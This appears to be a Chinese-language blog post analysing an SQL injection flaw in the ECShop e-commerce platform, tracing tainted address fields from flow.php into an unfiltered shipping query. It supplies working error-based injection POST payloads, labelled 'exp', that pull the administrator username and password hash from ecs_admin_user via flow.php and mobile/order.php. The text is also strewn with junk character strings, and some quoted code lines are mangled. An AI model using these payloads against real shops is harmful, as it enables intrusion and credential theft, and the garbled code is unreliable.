ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

2 @0 J; ?/ O* a" ?, O2 K) B4 i    漏洞关键文件：

; @$ u; t, a  r1 s" l5 @    /includes/lib_order.php

; l# {2 {3 i3 I    关键函数：
) \1 l- M! C: T2 P3 l$ o5 X
" \8 _7 H5 ?7 W8 C0 J

$ C( t2 \" t, p+ D. g& ?4 L! U3 K01     function available_shipping_list($region_id_list)

02 {

, S# K1 x1 m6 I' s# ^" p03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .

04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
4 W2 ~' n& s" i2 j; ]
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
' F" O/ A( T  l* [6 _& Q4 Q
! v/ Z8 J2 B+ k* G9 B% d06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

- v( o- r# F4 _# I' D07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
; d9 O# \/ Q" X6 n+ F: u
08             'WHERE r.region_id ' . db_create_in($region_id_list) .
2 L$ y; D3 u  z! V
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
# \. a% y; \/ }& Z  {, X- L
4 w/ M* [  c# b8 z4 Z# G0 W* t10   

11     return $GLOBALS['db']->getAll($sql);

' s- ^8 u1 x+ e% w1 {' X" t. o12 }
6 K6 N3 `0 s1 U8 |0 {
# y* s; m2 O" G显然对传入的参数没有任何过滤就带入了查询语句。

' T  h) Q. k- N# ~5 ?. C1 X下面我们追踪这个函数在flow.php中：
4 Q* w9 O* ]) F% W- c 第531行：   

* \" F& h9 p, L0 S  B; x0 g& w  P1 $shipping_list     = available_shipping_list($region);
$ ^3 k; n4 h6 K: \
& R4 R) o4 S! }$ e$ l& d7 [; {. a

- L( V! w: e& m8 t& c0 ]* m
1 r* {, B0 \4 g5 F# h
再对传入变量进行追踪：

3 x1 s& _; P, Q$ ^9 V8 X第530行：   

: i' o3 g' R1 g" l7 ?! B- E* K1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);

  P/ l8 a) o6 v" r7 T) ?+ f

% m6 O8 W1 c/ K6 u2 `
. A0 b" u6 b% e0 H  D
第473行：        

1 $consignee = get_consignee($_SESSION['user_id']);
8 K5 }1 n( z5 {7 D
; r$ i3 h1 r0 ^! ?2 c6 @; B* W到了一个关键函数：
( G$ O! B2 p# q" H2 L  W' i# S
7 t5 L+ c, h6 X; t! V/includes/lib_order.php
/ s- \- ?+ f  [# o: x* [; Y' m2 n


* {- a# ^2 ]+ o( ~

9 m" b/ R4 q, P01 function get_consignee($user_id)

" I  r( I' j8 @' y' L: N7 ~% n+ x02 {
; J  N' V: ?3 Y6 o
03     if (isset($_SESSION['flow_consignee']))
# s9 ~6 ^, y- q# [% t
9 [' J& X& H" K% B1 i04     {

+ C% @) C( Y) S05         /* 如果存在session，则直接返回session中的收货人信息 */
: X0 m% f' G: ?, \- a
06   

07         return $_SESSION['flow_consignee'];
# z* r5 J* g! y, w
( F& I0 n! ?5 j+ h. A% ^: \/ D8 S/ v08     }

9 i$ u" W0 |" T  m09     else

8 Q5 s# b( }6 U+ _$ U0 u& S10     {
' d3 L9 Q! l5 {2 j7 F
11         /* 如果不存在，则取得用户的默认收货人信息 */

12         $arr = array();

13   

14         if ($user_id > 0)
0 P% T) T: d* {, Z) l
0 k# z' h/ d% B5 \6 O- X15         {
/ K4 J+ k1 w2 R# e
* j' X, l" |5 n6 l5 B16             /* 取默认地址 */

17             $sql = "SELECT ua.*".
0 }# |: D( u& I
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.

, J7 k/ `# y" t1 v9 v8 |3 T! |19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
" A- e* ^- h5 S3 l4 l
5 n; D$ G9 K1 S5 A20   

4 h8 o" c3 |3 l" I6 k5 E21             $arr = $GLOBALS['db']->getRow($sql);
5 F/ u8 ~- C9 Z: P0 K: x
- Q% U" ]) y& ~: o( K. A; v22         }
) ]% p' n0 e- D1 Y. Z7 W: B5 c
23   

" n0 E& ^* \5 y$ k7 @24         return $arr;

' k  [  }3 m" r( C0 v" F; D25     }

2 L/ @) l# a0 X26 }

/ B; t7 U, h8 R) j8 @8 i显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？

2 y, u; a* p( v: h( p4 d, Y

关键点:
" G6 B  w  ^% _: A+ T' H# h( y' e
9 {0 L- b4 u) ]/ c. }! D第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
* Q3 i6 e$ b2 u
这里对传入参数反转义存入$_SESSION中。
7 a8 |% k" G5 b  T9 {* v


然后看下：



   
. _1 d* S2 }0 @, W& g
01 $consignee = array(

; y" j$ u1 x0 ^02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

) r$ Q7 e% C* Y4 a, D  t3 N% ]+ J: E% \03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
8 i0 S( @) {- c. Y% U' X
2 u7 |* h' J) v04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
; ?9 |3 L% h4 E/ f9 s
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
, X5 R$ C; d2 S1 y* ]7 g/ U+ P" x
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
8 W; @( s7 [* U" r
+ G  _0 c4 P1 w2 [5 b, }/ m& N07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
1 A5 K9 x, [# D1 j' |3 h. ]/ ?
: x# {  {% X/ r4 w08         'email'         => empty($_POST['email'])      ? '' _POST['email'],

! ^. O+ s4 u- C+ U09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
" a) |" [& L( K4 J
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
4 Z+ ~! h7 j. O9 m5 ]' }" F
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),

13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
0 ~* _0 @, Z6 Q2 `
- j9 F: P2 j  m5 f* V14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

" W/ ?# d1 O/ i$ U! }' B( w/ ]15     );
! r) r1 D- }3 y# y: E
好了注入就这样出现了。

( b2 C- y  w6 G8 L8 B/ Y" v( b==================

: g7 l) e/ M% z( W8 L0 q& m注入测试：

- N2 o+ D9 b* P2 S7 A/ S环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

测试程序：ECShop_V2.7.3_UTF8_release1106



7 F0 ^# L& Q  f$ A1 G* w; V3 K6 D1.首先需要点击一个商品加入购物车

2.注册一个会员帐号
; @/ E) ?2 l& ?0 g% V+ \5 T
3.post提交数据



1 http://127.0.0.1/ecshop/flow.php

/ S% d) s$ S6 G) F2 e2   
# p: a0 P3 w8 {5 K0 V
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
) _. \: {2 w6 [% g举一反三，我们根据这个漏洞我们可以继续深入挖掘：

9 C* m" ~: N0 r8 P% c/ [我们搜寻关键函数function available_shipping_list()
/ }' g& p8 |% Y; c4 N  {/ a! k% m) \
在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同

" g$ _3 y  h- ^' \8 t利用exp:

1.点击一个商品，点击购买商标
! B* Y( q/ v0 H: i4 w
2.登录会员帐号
0 O5 d7 y4 z3 _
) L) u; H7 w( O- [! w; x  e3.post提交：

http://127.0.0.1/ecshop/mobile/order.php


9 k* a( G) E' O2 T
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=

8 N2 c) ]: b/ ]/ m& ?3 S7 T